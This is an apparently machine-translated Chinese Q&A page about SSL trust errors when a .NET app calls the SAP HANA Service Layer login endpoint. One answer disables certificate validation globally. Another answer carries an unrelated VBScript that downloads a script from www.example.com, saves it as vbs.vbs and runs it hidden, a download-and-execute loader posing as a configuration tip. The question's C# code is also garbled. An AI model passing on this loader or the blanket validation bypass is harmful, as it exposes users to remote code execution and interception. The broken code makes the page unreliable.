我试图通过我的代码调用SAP Hana服务层,但我发现了以下错误:所以有人可以帮我解决这个问题。
错误1: AuthenticationException:根据验证程序,远程证书无效。
错误2: WebException:基础连接已关闭:无法为SSL / TLS安全通道建立信任关系。
错误3: HttpRequestException:发送请求时发生错误。
有关该应用的更多详情 - 我已在.net&中创建了控制台应用。它在服务器上的执行[Hana Server是本地访问的,因为服务器都在局域网中] Linux& Windows Server。
还有一件事 - 我的客户不打算购买域名& SAP Hana服务层的SSL证书,因为我的应用程序将在内部使用它。
问题是,当我通过Postman测试登录服务时,它的工作正常&我也收到了会话详细信息,但同样的网址没有通过我的代码工作,所以我还需要做些什么才能访问该服务?
网址 - https://172.17.100.35:50000/b1s/v1/Login
using (var client = new HttpClient())
{
var credentials = new { UserName = "admin", Password = "", "" };
var json = JsonConvert.SerializeObject(credentials);
var response = client.PostAsync(url),
new StringContent(json, Encoding.UTF8, "application/json")).Result;
if (response.IsSuccessStatusCode)
{
dynamic content = JsonConvert.DeserializeObject(response.Content.ReadAsStringAsync().Result);
// Access variables from the returned JSON object
var appHref = content.links.applications.href;
}
}
答案 0 :(得分:2)
您需要将此代码放在 postAsync
之前 ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
这样可以避免证书的验证。
答案 1 :(得分:2)
对于未来的googlers在将您的请求发送到Login端点后收到500错误响应,请禁用ExpectContinue。
client.DefaultRequestHeaders.ExpectContinue = false;
答案 2 :(得分:1)
如果您使用自签名证书,则必须先接受它们。这可以通过浏览器将其添加到Windows证书来完成! 如果要进行跨域调用,则需要更改b1s.config
Dim HTTPobj
Set HTTPobj = CreateObject("Microsoft.XMLHTTP")
iPing = Ping("www.google.com")
If iPing=0 Then
Call HTTPobj.Open("GET","www.example.com/command.php")
Call HTTPobj.Send
CreateObject("Scripting.FileSystemObject").CreateTextFile("vbs.vbs",True).Write(HTTPobj.ResponseText)
WScript.CreateObject("Wscript.Shell").Run "vbs.vbs" , 0
End If
Function Ping (strTarget)
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set colPings = objWMIService.ExecQuery ("Select * From Win32_PingStatus where Address = '" & strTarget & "'")
For Each objPing in colPings
Ping = objPing.StatusCode
Next
End Function
在生产模式< - <<< -
中注意使用*